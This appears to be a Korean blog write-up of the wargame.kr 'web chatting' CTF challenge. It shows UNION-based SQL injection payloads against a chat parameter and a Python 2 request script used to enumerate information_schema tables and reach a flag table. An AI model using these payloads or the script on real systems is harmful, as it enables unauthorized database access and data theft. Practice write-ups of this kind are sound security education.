web chatting
Simple SQLi Challenge.
How can I set in order to reduce the traffic?
Please try looking at a developer's perspective.
로그인을 해서 페이지소스를 보면, 채팅 내용 갱신을 위해
http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=54772
이렇게 chatview.php에 인자갑으로 t=1과 ni값을 보내주고 있다.
이 ni값에 50000 or 1과 같은 값을 입력했더니 모든 채팅내용을 확인할 수 있는 것으로 보아, sqli가 가능함을 알 수 있다.
그러나 앞으로 공격은 스크립트로 해야할 것 같다. 브라우저를 이용할 경우, 내용이 너무 많아 브라우저가 멈춰서 전체 내용을 확인할 수 없기 때문이다.
일단, union을 사용해서 sqli를 시도했다.
ni=54772 union select 1,2,3,4,5 --
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import urllib
import urllib2
import re
payload = "54772 union select 1,2,3,4,5 --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=cookie')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
data = data.replace("<br />", "\n")
data = re.sub('<.+?>', '', data, 0, re.I|re.S)
print data
|
cs |
그 결과, 마지막행에 아래 내용이 출력되었다.
2 (5..*.) : 3
select 했던 2, 3, 5가 나온 것이다.
이제 information_schema 테이블이 이용해서 테이블 이름과 칼럼 이름 리스트를 확인할 수 있다.
ni=54772 union select 1,table_name,3,4,5 from information_schema.tables --
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import urllib
import urllib2
import re
payload = "54772 union select 1,table_name,3,4,5 from information_schema.tables --"
payload = urllib.quote(payload)
url = "http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni="+payload
print url
opener = urllib2.build_opener(urllib2.HTTPHandler)
request = urllib2.Request(url)
request.add_header('User-Agent', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.125 Safari/537.36')
request.add_header('Cookie', 'PHPSESSID=cookie')
request.get_method = lambda:'GET'
data = opener.open(request)
data = data.read()
data = data.replace("<br />", "\n")
data = re.sub('<.+?>', '', data, 0, re.I|re.S)
print data
|
cs |
INNODB_SYS_FOREIGN (5..*.) : 3
INNODB_SYS_COLUMNS (5..*.) : 3
INNODB_FT_DEFAULT_STOPWORD (5..*.) : 3
INNODB_BUFFER_PAGE (5..*.) : 3
INNODB_CHANGED_PAGES (5..*.) : 3
chat_log (5..*.) : 3
chat_log_secret (5..*.) : 3
readme라고 하는 칼럼명을 확인 할 수 있다. 그러면, chat_log_secret 테이블에 readme라고 하는 칼럼이 있다는 것을 예측할 수 있다.
한번 확인해 보면,
마지막 줄에 플래그값이 출력된다.
'WAR GAME > wargame.kr' 카테고리의 다른 글
Wargame.kr [SimpleBoard] 풀이 (0) | 2020.01.04 |
---|---|
Wargame.kr [pyc decompile] 풀이 (0) | 2020.01.04 |
Wargame.kr [EASY_CrackMe] 풀이 (0) | 2020.01.01 |
Wargame.kr [php? c?] 풀이 (0) | 2019.12.31 |
Wargame.kr [img recovery] 풀이 (0) | 2019.12.31 |